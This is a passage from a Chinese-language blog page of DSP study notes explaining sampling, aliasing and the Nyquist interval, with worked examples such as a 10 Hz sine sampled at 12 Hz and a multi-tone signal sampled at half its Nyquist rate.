m=0,\\pm1,\\pm2,\\dots<br>\n$$<br>\nไปฅๅŠ้‡‡ๆ ทๅŽ็š„๏ผŒ<br>\n$$<br>\nx_m(nT)=e^{2\\pi j(f+mf_s)Tn}<br>\n$$<br>\n็”ฑๆ€ง่ดจ $f_s T=1$ ๅ’Œไธ‰่ง’ๅ‡ฝๆ•ฐ็š„ๅ‡ ไฝ•ๆ€ง่ดจ๏ผŒ<br>\n$$<br>\ne^{2\\pi jmf_s Tn}=e^{2\\pi jmn}=1<br>\n$$<br>\nๆˆ‘ไปฌๅ‘็Žฐ๏ผŒๅฐฝ็ฎกไฟกๅท $x_m(t)$ ๆ˜ฏไบ’็›ธไน‹้—ดไธๅŒ็š„๏ผŒไฝ†็ป่ฟ‡้‡‡ๆ ทๅŽ๏ผŒๅดๆ˜ฏๅค„ๅค„็›ธๅŒ็š„๏ผš<br>\n$$<br>\nx_m(nT)=e^{2\\pi j(f+mf_s)Tn}=e^{2\\pi jfTn}e^{2\\pi jmf_sTn}=e^{2\\pi jfTn}=x(nT)<br>\n$$<br>\nไปŽ้‡‡ๆ ทๅŽ็š„็ป“ๆžœๆฅ็œ‹๏ผŒไฟกๅท $x_m(t)$ ๆ˜ฏไธๅฏๅŒบๅˆ†็š„๏ผŒๆˆ–่€…่ฏดๆ˜ฏๆททๆท†็š„๏ผˆaliased๏ผ‰ใ€‚ไป…ไป…้ ้‡‡ๆ ท็ป“ๆžœ $x(nT)=x_m(nT)$ ๆไพ›็š„ไฟกๆฏๆ˜ฏไธ่ถณไปฅๅ†ณๅฎšๅŽŸไฟกๅทๅˆฐๅบ•ๆ˜ฏๆ€Žๆ ท่ขซ้‡‡ๆ ท็š„ใ€‚ๅ…ถๅฏ่ƒฝๆ˜ฏ $x_m(t)$ ๅฝ“ไธญ็š„ไปปไฝ•ไธ€ไธชใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒไธ‹้ข่ฟ™ไธ€ไธฒ็š„้ข‘็Ž‡ๅ€ผ๏ผŒ<br>\n$$<br>\nf,f\\pm f_s,f\\pm2f_s,\\dots,f\\pm mf_s,\\dots<br>\n$$<br>\n็›ธไบ’ๆ˜ฏ็ญ‰ไปท็š„ใ€‚ไบŽๆ˜ฏ๏ผŒ้‡‡ๆ ทๆ‰€ๅธฆๆฅ็š„ๆ•ˆๆžœไฝฟๅพ—ๆœฌๆฅ็š„้ข‘็Ž‡ๅ€ผ $f$ ่ขซไธŠ้ขไธ€ไธฒ้‡ๅค็š„้ข‘็Ž‡ๅ€ผๆ‰€ๆ›ฟไปฃใ€‚่ฟ™ๅฐฑๆ˜ฏ้ข‘็Ž‡่ฐฑ็š„ๅ‘จๆœŸ้‡ๅคๆ€ง่ดจ็š„็›ด่ง‚่งฃ้‡Šไบ†ใ€‚ไธ€ไธชๅˆฉ็”จๅ‚…้‡Œๅถๅ˜ๆขๅœจๆ•ฐๅญฆๆ„ไน‰ไธŠ็š„่งฃ้‡Šไผšๅœจไน‹ๅŽไป‹็ปๅˆฐใ€‚</p>\n<p>ๅ‡ๅฆ‚่ฏด้‡‡ๆ ทๅŽ็š„็ป“ๆžœ $x(nT)$ ๅนถไธ่ƒฝๅ”ฏไธ€็š„ๅ†ณๅฎšๅŽŸๅ…ˆ็š„ๆจกๆ‹Ÿไฟกๅท็š„่ฏ๏ผŒ้‚ฃ้—ฎ้ข˜ๆฅไบ†๏ผšๆ‰”ๅˆฐๆจกๆ‹Ÿไฟกๅท้‡ๅปบๅ™จ้‡Œ็š„่ฏ๏ผŒไผš้‡ๅปบๅ‡บไป€ไนˆๆ ท็š„ๆจกๆ‹Ÿไฟกๅทๅ‘ข๏ผŸไผšๆ˜ฏไธ‹ๅ›พ็š„็ป“ๆžœไนˆ๏ผŸ</p>\n<p><img alt=\"image-20190917182236007\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917182236007.png\"></p>\n<p>ไน‹ๅŽๆˆ‘ไปฌไผš็Ÿฅ้“๏ผŒไธ€ไธช็†ๆƒณ็š„ๆจกๆ‹Ÿไฟกๅท้‡ๅปบๅ™จไผšๆๅ–้‡‡ๆ ทไฟกๅทๆ‰€ๆœ‰่ฝๅœจ Nyquist interval $[-f_s/2,f_s/2]$ ไน‹ๅ†…็š„้ข‘็Ž‡ๅˆ†้‡ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒไธ€ไธช็†ๆƒณ็š„ๆจกๆ‹Ÿไฟกๅท้‡ๅปบๅ™จๅฐฑๅƒๆ˜ฏไธ€ไธชไฝŽ้€šๆปคๆณขๅ™จ๏ผŒๅ…ถๆˆชๆ–ญ้ข‘็Ž‡ๅฐฑๆ˜ฏ Nyquist frequency $f_s/2$ใ€‚</p>\n<p>ๅœจไธŠ้ข้‚ฃไธ€ไธฒ้ข‘็Ž‡ๅ€ผ้‡Œ๏ผŒๅชๆœ‰ๅ”ฏไธ€็š„ไธ€ไธชๅ€ผไผš่ฝๅœจ Nyquist interval ้‡Œ<dt-fn>ๅ”ฏไธ€็š„ไพ‹ๅค–ๅฐฑๆ˜ฏๅŒบ้—ดๆœ€ๅทฆๆœ€ๅณไธคไพง็š„้ข‘็Ž‡ๅ€ผ๏ผŒ$f=\\pm f_s/2$ใ€‚</dt-fn>ใ€‚่ฟ™ๅฏไปฅ้€š่ฟ‡ๅฏนๅŽŸๅ…ˆ็š„ $f$ ๅš modulo-$f_s$ ็บฆๅŒ–ๅพ—ๅˆฐ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ<strong>ไปŽ $f$ ๅผ€ๅง‹ไธๆ–ญๅœฐ็›ธๅŠ ๆˆ–็›ธๅ‡ $f_s$ ็š„ๅ€ๆ•ฐ๏ผŒ็›ดๅˆฐ็ป“ๆžœ่ฝๅˆฐๅฏน็งฐ็š„ Nyquist interval $[-f_s/2,f_s/2]$</strong>ใ€‚ๆˆ‘ไปฌๆŠŠ่ฟ™ไธชๆ“ไฝœ่ฟ‡็จ‹่กจ็คบไธบ</p>\n<p>$$<br>\nf_a = f \\text{ mod}(f_s)<br>\n$$</p>\n<p>่ฟ™ไธช้ข‘็Ž‡ๅŽŸๆ˜ฏๅœจ้‚ฃไธ€ไธฒ้ข‘็Ž‡ๅ€ผไธญ๏ผŒไนŸๅŒๆ—ถๅฐ†ไผš่ขซๆจกๆ‹Ÿไฟกๅท้‡ๅปบๅ™จๆๅ–ๅ‡บๆฅใ€‚ๅ› ๆญค๏ผŒ้‡ๅปบ็š„ๆญฃๅผฆไฟกๅทไผšๆ˜ฏ๏ผš<br>\n$$<br>\nx_a(t) = e^{2\\pi jf_at}<br>\n$$<br>\nๅฏไปฅๅพˆๅฎนๆ˜“็š„ๅ‘็Žฐ๏ผŒ$<strong>f_a=f$ ็š„ๅ……ๅˆ†ๅฟ…่ฆๆกไปถๆ˜ฏ $f$ ่ฝๅœจ Nyquist interval ้‡Œ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดๆปก่ถณ $|f|\\le f_s/2$ใ€‚</strong>่ฟ™ไนŸๅ’Œ้‡‡ๆ ทๅฎš็†็š„ๆกไปถไธ่ฐ‹่€Œๅˆใ€‚ๅฆ‚ๆžœ $f$ ่ฝๅœจ Nyquist interval ๅค–้ข๏ผŒๅณ $|f|&gt; f_s/2$๏ผŒไปŽ่€Œ่ฟ่ƒŒไบ†้‡‡ๆ ทๅฎš็†็š„ๆกไปถ๏ผŒ้‚ฃไนˆโ€œ่ขซๆททๆท†โ€๏ผˆโ€˜aliasedโ€™๏ผ‰็š„้ข‘็Ž‡ๅ€ผ $f_a$ ๅฐฑไผšไธๅŒไบŽ $f$๏ผŒ้‡ๅปบๅŽ็š„ๆจกๆ‹Ÿไฟกๅท $x_a(t)$ ไนŸไผšไธๅŒไบŽ $x(x)$๏ผŒๅณไฝฟๅฎƒไปฌ้ƒฝๆปก่ถณไบ†็›ธๅŒ็š„้‡‡ๆ ท็‚น๏ผŒ$x_a(nT)=x(nT)$ใ€‚</p>\n<p>ไปŽไธ‹ๅ›พๅฏไปฅๅพˆๅฅฝ็š„่ง‚ๅฏŸๅˆฐ่ขซๆททๆท†็š„้ข‘็Ž‡ $f_a=f\\text{ mod}(f_s)$ ๅ’Œ็œŸๅฎž้ข‘็Ž‡ $f$ใ€‚ๅฏไปฅ็œ‹ๅˆฐ็›ด็บฟ $f_\\text{true}=f$ ่ขซไปฅ $f_s$ ็š„ๅ€ๆ•ฐ๏ผˆNyquist periods๏ผ‰่ฟ›่กŒไบ†ๅปถไผธๆ€งๅนณ็งปใ€‚็›ด็บฟ้‡Œ่™š็บฟ้ƒจๅˆ†็š„ๅ–ๅ€ผไผšๆˆไธบ่ขซๆททๆท†็š„้ข‘็Ž‡ๅˆ†้‡็š„ๅ–ๅ€ผใ€‚</p>\n<p><img alt=\"image-20190917184315295\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917184315295.png\"></p>\n<p>In summary, potential aliasing effects that can arise at the reconstruction phase of DSP operations can be avoided if one makes sure that all frequency components of the signal to be sampled satisfy the sampling theorem condition,$|f|\\le f_s/2$ , that is, all frequency components lie within the Nyquist interval. This is ensured by the lowpass antialiasing prefilter, which removes all frequencies beyond the Nyquist frequency $f_s/2$.</p>\n<ul>\n<li><strong>Example 1.4.1:</strong> </li>\n</ul>\n<p>่€ƒ่™‘้ข‘็Ž‡ไธบ $f=10\\text{Hz}$ ็š„ๆญฃๅผฆๆณข๏ผŒ้‡‡ๆ ท็Ž‡ๆ˜ฏ $f_s=12\\text{Hz}$ใ€‚้‚ฃไนˆ้‡‡ๆ ทๅŽ็š„ไฟกๅทๅฐฑไผšๅŒ…ๅซๆœ‰ๆ‰€ๆœ‰็š„้‡ๅค้ข‘็Ž‡ $10+m\\cdot12\\text{Hz},m=0,\\pm1,\\pm2,\\dots$๏ผŒๆˆ–่€…่ฏดๆ˜ฏ</p>\n<p>$$<br>\n \\dots,-26,-14,-2,10,22,34,46,\\dots<br>\n $$<br>\n ๅœจไธŠ่ฟฐ้ข‘็Ž‡ไธญ๏ผŒๅชๆœ‰ $f_a=10 \\text{mod}(12)=10-12=-2\\text{Hz}$ ๆ˜ฏๅˆšๅฅฝไฝไบŽ Nyquist interval $[-6,6]\\text{ Hz}$ ๅ†…็š„ใ€‚ไบŽๆ˜ฏ่ฟ™ไธชๆญฃๅผฆๆณขๅฐฑไผšๅœจ้‡ๆž„ๅ™จไปฅ $-2\\text{Hz}$ ่พ“ๅ‡บๆณขๅฝข๏ผŒ่€Œไธๆ˜ฏๆœฌๆฅ็š„ $10\\text{Hz}$ใ€‚</p>\n<p>่‹ฅๆˆ‘ไปฌๅˆ้€‚็š„่ฟ›่กŒ้‡‡ๆ ท๏ผŒๅณ้‡‡ๆ ท็Ž‡ๅคงไบŽ $2f=20Hz$๏ผŒๆฏ”ๆ–น่ฏด้‡‡ๆ ท็Ž‡ๅœจ $f_s=22Hz$๏ผŒ้‚ฃไนˆๅฐฑๆฒกๆœ‰ๆททๆท†ๆ€ง๏ผˆaliasing๏ผ‰ๅ‡บ็Žฐ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบ $10Hz$ ๅทฒ็ปๅค„ๅœจ็›ธๅบ”็š„ Nyquist interval $[-11,11]\\text{ Hz}$ ไน‹ไธญไบ†ใ€‚</p>\n<ul>\n<li><strong>Example 1.4.2:</strong></li>\n</ul>\n<p>ๅฏนไบŽๆŸๆฎต้Ÿณไน๏ผŒๅœจ 40kHz ๅค„่ฟ›่กŒไบ†้‡‡ๆ ท๏ผŒ่€Œๆฒกๆœ‰ๅœจ 20 kHz ่ฟ›่กŒ้ข„ๆปคๆณข้‡‡ๆ ท๏ผˆprefilter๏ผ‰ใ€‚้‚ฃไนˆ๏ผŒไธๅฏๅฌๅˆฐ็š„๏ผˆinaudible๏ผ‰ๆˆๅˆ†๏ผˆ่ถ…่ฟ‡ 20kHz๏ผ‰ๅฐฑไผš่ขซๆททๆท†็š„่ฝๅœจ Nyquist interval $[-20,20]$ kHz ไน‹ไธญ๏ผŒไปŽ่€Œๅฝฑๅ“ไบ†ๅœจ่ฏฅๅŒบ้—ดไธญ็œŸๆญฃ็š„้ข‘็Ž‡ๅˆ†้‡ใ€‚ๆฏ”ๆ–น่ฏด๏ผŒไป‹ไบŽ $20\\le f\\le60$ kHz ็š„ inaudible ้ข‘็Ž‡ๅฐฑๆททๆท†ๅœจ $-20=20-40\\le f-f_x\\le60-40=20$ Hz ่ฟ™ไธช audible ้ข‘็Ž‡่Œƒๅ›ดๅ†…ใ€‚</p>\n<ul>\n<li><strong>Example 1.4.3:</strong></li>\n</ul>\n<p>ๆœ‰ๅฆ‚ไธ‹ไบ”ๆฎตไฟกๅทๆณขๅฝข๏ผŒt ็š„ๅ•ไฝๆ˜ฏ seconds๏ผŒ้ƒฝๅœจ 4 Hz ๅค„่ขซ้‡‡ๆ ท๏ผš<br>\n $$<br>\n -\\sin(14\\pi t),\\,\\,\\,\\,-\\sin(6\\pi t),\\,\\,\\,\\,\\sin(2\\pi t),\\,\\,\\,\\,\\sin(10\\pi t),\\,\\,\\,\\,\\sin(18\\pi t)<br>\n $$<br>\n ่ฏ•่ฏๆ˜ŽไธŠ่ฟฐๆ‰€ๆœ‰ๆณขๅฝข้ƒฝๆ˜ฏ็›ธไบ’ๆททๆท†็š„๏ผˆaliased๏ผ‰๏ผŒๅณไป–ไปฌ้‡‡ๆ ทๅŽๆ˜ฏ็›ธๅŒ็š„้‡‡ๆ ทไฟกๅทใ€‚</p>\n<p>่งฃ๏ผš</p>\n<p>่ฟ™ไบ”ไธชๆณขๅฝข็š„้ข‘็Ž‡ๅˆ†ๅˆซๆ˜ฏ๏ผš<br>\n $$<br>\n -7,\\;\\;-3,\\;\\;1,\\;\\;5,\\;\\;9\\;\\;\\text{Hz}<br>\n $$<br>\n ๅฎƒไปฌไน‹้—ด้ƒฝๅˆšๅฅฝ็›ธๅทฎไธ€ไธช้‡‡ๆ ท็Ž‡ $f_s=4$ Hz ็š„ๅ€ๆ•ฐใ€‚ๆ‰€ไปฅ๏ผŒไป–ไปฌ้‡‡ๆ ทๅŽ็š„้ข‘่ฐฑ๏ผˆspectra๏ผ‰ๅฐ†ไผš็›ธไบ’ไธๅฏๅŒบๅˆ†๏ผˆindistinguishable๏ผ‰๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅฎƒไปฌ็š„้ข‘็Ž‡้ƒฝๆœ‰็€็›ธๅŒ็š„ๅ‘จๆœŸ้‡ๅคๆ€ง๏ผˆ4 Hz ็š„ๅ€ๆ•ฐ๏ผ‰ใ€‚</p>\n<p>ๆŠŠ้‚ฃไบ”ๆฎตๆณขๅฝข็š„้ข‘็Ž‡๏ผŒๅ†™ๅพ—็ดงๅ‡‘ไธ€็‚น็š„่ฏ๏ผš<br>\n $$<br>\n f_m=1+4m,\\;\\;\\;m=-2,-1,0,1,2<br>\n $$<br>\n ่ฟ›่€Œๆˆ‘ไปฌๅฏไปฅ่ฟ™ๆ ท่กจ่พพ้‚ฃไบ”ไธชๆณขๅฝข๏ผš<br>\n $$<br>\n x_m(t)=\\sin(2\\pi f_mt)=\\sin(2\\pi(1+4m)t),\\;\\;\\;m=-2,-1,0,1,2<br>\n $$</p>\n<p>ๆ›ฟๆข $t=nT=n/f_s=n/4$ sec๏ผŒๆˆ‘ไปฌๅฏไปฅๅพ—ๅˆฐ้‡‡ๆ ทๅŽ็š„ๆณขๅฝข๏ผš<br>\n $$<br>\n \\begin{align}<br>\n x_m(nT)&amp;=\\sin(2\\pi(1+4m)nT)\\\\<br>\n &amp;=\\sin(2\\pi(1+4m)n/4)\\\\<br>\n &amp;=\\sin(2\\pi n/4+2\\pi mn)\\\\<br>\n &amp;=\\sin(2\\pi n/4)<br>\n \\end{align}<br>\n $$<br>\n ไบŽๆ˜ฏ๏ผŒ่ฟ™ไบ›ๆณขๅฝขๅนถไธไพ่ต–ไบŽ m๏ผŒไป–ไปฌๆ˜ฏๅฎŒๅ…จ็›ธๅŒ็š„ใ€‚ไธ‹ๅ›พๆ็ป˜ไบ†ๅŒบ้—ด $0\\le t \\le 1$ sec ไน‹้—ด๏ผŒไบ”็งๆณขๅฝข็š„ๅฎžไพ‹๏ผš</p>\n<p><img alt=\"image-20190927134334903\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190927134334903.png\"></p>\n<p>ไป–ไปฌ้ƒฝๆ˜ฏๅœจ $t=nT=n/4$ sec ๅค„่ฟ›่กŒ็š„้‡‡ๆ ทใ€‚ๆˆ‘ไปฌๅฐ†ไผšๅœจ <a href=\"#1.4.2 Rotational Motion\">1.4.2 Rotational Motion</a> ็”จ rotating wheels ๅ†ไธ€ๆฌก่ฎจ่ฎบ่ฟ™ไธชไพ‹ๅญใ€‚</p>\n<ul>\n<li><strong>Example 1.4.4:</strong></li>\n</ul>\n<p>่€ƒ่™‘ $x(t)$ ๆ˜ฏ่ฟ™ๆ ทไธ€็ป„ๆญฃๅผฆไฟกๅท็š„็บฟๆ€งๅ ๅŠ ๏ผŒ<br>\n $$<br>\n x(t) = 4+3\\cos(\\pi t)+2\\cos(2\\pi t)+\\cos(3\\pi t)<br>\n $$<br>\n ๅ…ถไธญ $t$ ๆ˜ฏๆฏซ็ง’ๅ•ไฝใ€‚ๆฑ‚ไธไผš้€ ๆˆไปปไฝ•ๆททๆท†ๆ•ˆๅบ”็š„ๆœ€ๅฐ้‡‡ๆ ท็Ž‡๏ผŒๅณ Nyquist rateใ€‚ไธบไบ†ๆŸฅ็œ‹ๅˆฐ่ฟ™ไธชๆททๆท†ๆ•ˆๅบ”๏ผŒๅ‡ๅฎš่ฏฅไฟกๅทๅทฒ็ปๅœจ Nyquist rate ็š„ไธ€ๅŠๅค„่ฟ›่กŒ็š„้‡‡ๆ ทใ€‚ๅ†ๆฑ‚ไผšไธŽ $x(t)$ ๆททๆท†็š„ไฟกๅท $x_a(t)$ใ€‚</p>\n<p>่งฃ๏ผš</p>\n<p>ๅ››ไธช้ข‘็Ž‡ๅˆ†้‡ๅˆ†ๅˆซๆ˜ฏ๏ผš$f_1=0,f_2=0.5\\text{ kHz},f_3=1\\text{ kHz}$ , and $f_4=1.5\\text{ kHz}$๏ผˆๅฎƒไปฌไน‹ๆ‰€ไปฅๆ˜ฏ kHz ๆ˜ฏๅ› ไธบ t ็š„ๅ•ไฝไธบ msec๏ผ‰ใ€‚ๅ› ๆญค๏ผŒ$f_\\max=f_4=1.5\\text{ kHz}$ ๅนถไธ” Nyquist rate ๅฐฑๆ˜ฏ $2f_\\max=3\\text{ kHz}$ใ€‚</p>\n<p>ๅฆ‚ๆžœ $x(t)$ ๅนถไธๆ˜ฏๅœจ Nyquist rate ็š„ไธ€ๅŠๅค„่ฟ›่กŒ้‡‡ๆ ท็š„่ฏ๏ผŒ้‚ฃไนˆ๏ผŒๅœจ $f_s=1.5\\text{ kHz}$ ๅค„๏ผŒๅฐฑไผšๅ‘็”Ÿๆททๆท†็Žฐ่ฑกใ€‚ๆญคๆ—ถ๏ผŒๆ‰€ๅฏนๅบ”็š„ Nyquist interval ๆ˜ฏๅœจ $[-0.75,0.75]\\text{ kHz}$ใ€‚ๅฏไปฅ็œ‹ๅˆฐ๏ผŒ$f_1,f_2$ ไธคไธช้ข‘็Ž‡ๅทฒ็ปๅœจ่ฟ™ไธช่Œƒๅ›ดๅ†…ไบ†๏ผŒๅ› ๆญคๅฎƒไปฌๅนถๆฒกๆœ‰่ขซๆททๆท†๏ผŒๅณ $f_{1a}=f_1,f_{2a}=f_2$ใ€‚ไฝ†ๆ˜ฏ๏ผŒ$f_3,f_4$ ๅดๆ˜ฏๅœจ Nyquist interval ็š„ๅค–้ข๏ผŒๆ‰€ไปฅ๏ผŒๅฎƒไปฌๅฐ†ไผš่ขซๆททๆท†๏ผš<br>\n $$<br>\n \\begin{align}<br>\n f_{3a}&amp;=f_3\\text{ mod}(f_s)=1\\text{ mod}(1.5)=1-1.5=-0.5\\text{ kHz} \\\\<br>\n f_{4a}&amp;=f_4\\text{ mod}(f_s)=1.5\\text{ mod}(1.5)=1.5-1.5=0\\text{ kHz}<br>\n \\end{align}<br>\n $$<br>\nๆททๆท†ๅŽไฟกๅท $x_a(t)$ ็š„้ข‘็Ž‡ไปŽๅŽŸไฟกๅท $x(t)$ ็š„ $f_1,f_2,f_3,f_4$ ไฝ“ไผšไธบไบ† $f_{1a},f_{2a},f_{3a},f_{4a}$ใ€‚ๅ…ทไฝ“ๅœฐ่ฏด๏ผŒๆจกๆ‹Ÿไฟกๅท็”ฑ<br>\n $$<br>\n x(t)=4\\cos(2\\pi f_1t)+4\\cos(2\\pi f_2t)+2\\cos(2\\pi f_3t)+\\cos(2\\pi f_4t)<br>\n $$<br>\n ่ขซๆททๆท†ๅŽๅพ—ๅˆฐ<br>\n $$<br>\n \\begin{align}<br>\n x_a(t)&amp;=4\\cos(2\\pi f_{1a}t)+4\\cos(2\\pi f_{2a}t)+2\\cos(2\\pi f_{3a}t)+\\cos(2\\pi f_{4a}t) \\\\<br>\n &amp;=4+3\\cos(\\pi t)+2\\cos(-\\pi t)+\\cos(0)\\\\<br>\n &amp;=5+5\\cos(\\pi t)<br>\n \\end{align}<br>\n $$</p>\n<p>ๆˆ‘ไปฌๆŠŠไฟกๅท $x(t)$ ๅ’Œ $x_a(t)$ ้ƒฝ็”ปๅœจไบ†ไธ‹้ข็š„ๅ›พไธŠใ€‚ๆˆ‘ไปฌๅฏไปฅๅ‘็ŽฐๅŽŸไฟกๅทๅ’Œ้‡ๅปบๅŽ็š„ไฟกๅทไน‹้—ด๏ผŒๅชๆœ‰ๅœจ้‡‡ๆ ท็‚นๅค„ๆ˜ฏไฟกๅท้‡ๅˆ็š„ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ$x_a(nT)=x(nT)$ใ€‚ๅฏไปฅ็œ‹ๅˆฐ๏ผŒ้‡ๅปบๅŽ็š„ๅ–œๅฅฝ $x_a(t)$ ๆ›ดๅŠ ๅ…‰ๆป‘ไธ€ไบ›๏ผŒๅณๅ…ถๆฏ” $x(t)$ ๆœ‰ๆ›ดไฝŽ้ข‘็š„ไฟกๆฏ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅ…ถๆ‰€ๆœ‰็š„่ƒฝ่ฐฑ spectrum ้ƒฝๆ˜ฏ่ฝๅœจ Nyquist interval ไน‹้—ด็š„ใ€‚</p>\n<p><img alt=\"image-20191026130254827\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20191026130254827.png\"></p>\n<p>้‡ๅปบไฟกๅท $x_a(t)$ ไนŸๅฏไปฅๅœจ้ข‘ๅŸŸไธŠ็ป™ๅ‡บ๏ผŒๅช่ฆ้€š่ฟ‡่ต‹ๅ€ผ $x(t)$ ็š„้ข‘่ฐฑๅˆฐ $f_s=1.5$ kHz ็š„ๅŒบ้—ด่Œƒๅ›ดๅ†…๏ผŒ็„ถๅŽๆๅ–่ฝๅœจ Nyquist interval ไน‹้—ด็š„้ข‘่ฐฑไฟกๆฏๅณๅฏใ€‚ๅฆ‚ไธ‹ๅ›พๆ‰€็คบ๏ผš</p>\n<p><img alt=\"image-20191026130859688\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20191026130859688.png\"></p>\n<p>ๅŽŸไฟกๅท $x(t)$ ็š„ๆฏไธ€ๆก้ข‘่ฐฑ็บฟ้ƒฝๆ นๆฎๅ›พ 1.3.2 ้‚ฃๆ ท่ฟ›่กŒๅคๅˆถใ€‚ๆœ‰ไธคๆกๅผบๅบฆไธบ $1/2$ ่ฐฑ็บฟไปŽ $f_4=\\pm1.5$ kHz ๅค„่ขซๅคๅˆถๅˆฐไบ† $f=0$ ๅค„๏ผŒไบŽๆ˜ฏ่ฏฅๅค„็š„้ข‘่ฐฑๅผบๅบฆๅฐฑๅขžๅผบๅˆฐไบ† $(4+1/2+1/2)=5$ใ€‚็ฑปไผผๅœฐ๏ผŒไธคๆกๅผบๅบฆไธบ $2/2$ ็š„่ฐฑ็บฟไปŽ $f_3=\\pm1$ kHz ๅค„่ขซๅคๅˆถๅˆฐไบ† $f=\\pm0.5$ kHz ๅค„ใ€‚ๅ› ๆญค๏ผŒ็†ๆƒณ็š„้‡ๅปบๅ™จ๏ผˆreconstructor๏ผ‰ๅฐ†ไผšๅœจ $f_1=0$ ๅค„ๆๅ–้ข‘่ฐฑๅผบๅบฆ 5 ๅ’Œๅœจ $f_2=\\pm0.5$ ๅค„ๅˆ†ๅˆซๆๅ–ๅผบๅบฆ 2.5๏ผŒไบŽๆ˜ฏๅฐฑๆœ‰ไบ†ๆœ€ๅŽ็š„่พ“ๅ‡บ้‡ๅปบไฟกๅท๏ผš</p>\n<p>$$<br>\n 5+2.5e^{2\\pi j0.5t}+2.5e^{-2\\pi j0.5t}=5+5\\cos(\\pi t)<br>\n$$<br>\n ่ฟ™ไธชไพ‹ๅญๅฐฑๅ……ๅˆ†ๅฑ•็Žฐไบ†ๆททๆท†็Žฐ่ฑกๆ˜ฏๅฆ‚ไฝ•ๅœจ Nyquist interval ๅ†…๏ผŒไธๅฏ้€†่ฝฌ็š„ๅฝฑๅ“ๅŽŸๅง‹ไฟกๅท้ข‘็Ž‡ๅˆ†้‡็š„ใ€‚</p>\n<ul>\n<li>\n<p><strong>Example 1.4.5:</strong></p>\n</li>\n<li>\n<p><strong>Example 1.4.6:</strong></p>\n</li>\n<li>\n<p><strong>Example 1.4.7:</strong></p>\n</li>\n<li>\n<p><strong>Example 1.4.8:</strong></p>\n</li>\n<li>\n<p><strong>Example 1.4.9:</strong></p>\n</li>\n</ul>\n<h3 id=\"142-rotational-motion\">1.4.2 Rotational Motion</h3>\n<ul>\n<li>\n<p><strong>Example 1.4.10:</strong></p>\n</li>\n<li>\n<p><strong>Example 1.4.11:</strong></p>\n</li>\n</ul>\n<h3 id=\"143-dsp-frequency-units\">1.4.3 DSP Frequency Units</h3>\n<p><img alt=\"image-20191026133036237\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20191026133036237.png\"></p>\n<p>ๅ›พ 1.4.4 ๅฏนๆฏ”ไบ†ๅ„็งๅœจ DSP ไธญๅธธ็”จ็š„้ข‘็Ž‡ๅ•ไฝๅฐบๅบฆไธŽ็›ธๅบ”็š„ Nyquist intervals ไน‹้—ด็š„ๅ…ณ็ณปใ€‚ๅฏนไบŽไธ€ไธช้‡‡ๆ ทๅŽ็š„ๆญฃๅผฆๆณขๅฏไปฅ้‡‡็”จๅ›พไธญ็š„ๅ„็งๅ•ไฝๆฅ่กจ็คบ๏ผš</p>\n<p>$$<br>\ne^{2\\pi jfTn} = e^{2\\pi j(f/f_s)n} = e^{j\\Omega Tn} = e^{j\\omega n}<br>\n$$</p>\n<p>ๆ˜พ็„ถ็”จ $\\omega$ ๆฅ่กจ็คบๆ›ดๅŠ ็ฎ€ๆดใ€‚ๆœ‰ๆ—ถๅ€™๏ผŒ$f$ ไผš็”จ Nyquist frequency ๅฝ’ไธ€ๅŒ–ๅŽๆฅ่กจ็คบ $f_N=f_s/2$๏ผŒๆ‰€ไปฅๅ•ไฝๆ˜ฏ $f/f_N$ใ€‚่ฟ™ๆ ท็š„่ฏ๏ผŒNyquist interval ๅฐฑๅ˜ๆˆไบ† $[-1,1]$ใ€‚In multirate applications, where successive digital processing stages operate at different sampling rates, the most convenient set of units is simply in terms of $f$. In fixed-rate applications, the units of ฯ‰ or $f/f_s$ are the most convenient.</p>\n<h2 id=\"15-spectra-of-sampled-signals\">1.5 Spectra of Sampled Signals*</h2>\n<p>๏ผˆOmitted๏ผ‰</p>\n <!-- \n \n -->\n</dt-article>\n\n<script type=\"text/bibliography\">\n \n</script>\n\n<dt-appendix>\n\n <ul>\n<li><code>aliasing</code> ่ฟ™ไธช่ฏ๏ผŒๆˆ‘ๆœ‰ๆ—ถๅ€™็ฟป่ฏ‘ๆˆไบ†โ€œๆททๆท†โ€๏ผŒไนŸๆœ‰ๆ—ถๅ€™็ฟป่ฏ‘ๆˆไบ†โ€œๆททๅ โ€ใ€‚</li>\n</ul>\n <!-- If you have an appendix, a bibliography is automatically created and populated in it.\n <h3>Appendix Section Title</h3>\n <p>section content<p> -->\n\n</dt-appendix>\n\n\n<dt-footer>\n <style>\n dt-footer {\n display: block;\n color: rgba(255, 255, 255, 0.4);\n font-weight: 300;\n padding: 40px 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n background-color: hsl(200, 60%, 15%);\n text-align: center;\n }\n\n dt-footer .logo svg {\n width: 24px;\n position: relative;\n top: 4px;\n margin-right: 2px;\n }\n\n dt-footer .logo svg path {\n fill: none;\n stroke: rgba(255, 255, 255, 0.8);\n stroke-width: 3px;\n }\n\n dt-footer .logo {\n font-size: 17px;\n font-weight: 200;\n color: rgba(255, 255, 255, 0.8);\n text-decoration: none;\n margin-right: 6px;\n }\n\n dt-footer .nav {\n margin-top: 12px;\n }\n\n dt-footer .nav a {\n color: rgba(255, 255, 255, 0.8);\n margin-right: 6px;\n }\n </style>\n <div class=\"l-page\">\n <!-- <div class=\"description\"> <a href=\"/\" class=\"logo\"> \" + logo + \" Distill </a> is dedicated to clear\n explanations of machine learning </div> -->\n <div class=\"nav\">\n <a href=\"https://iphysresearch.github.io/\">IPhysResearch</a>\n <a href=\"https://iphysresearch.github.io/blog/\">Blog</a>\n <!-- <a href=\"http://distill.pub/prize/\">Prize </a>\n <a href=\"http://distill.pub/archive/\">Archive </a>\n <a href=\"http://distill.pub/rss.xml\">RSS </a>\n <a href=\"https://github.com/distillpub\">GitHub </a>\n <a href=\"https://twitter.com/distillpub\">Twitter </a> &nbsp;&nbsp;&nbsp;&nbsp; ISSN 2476-0757 -->\n 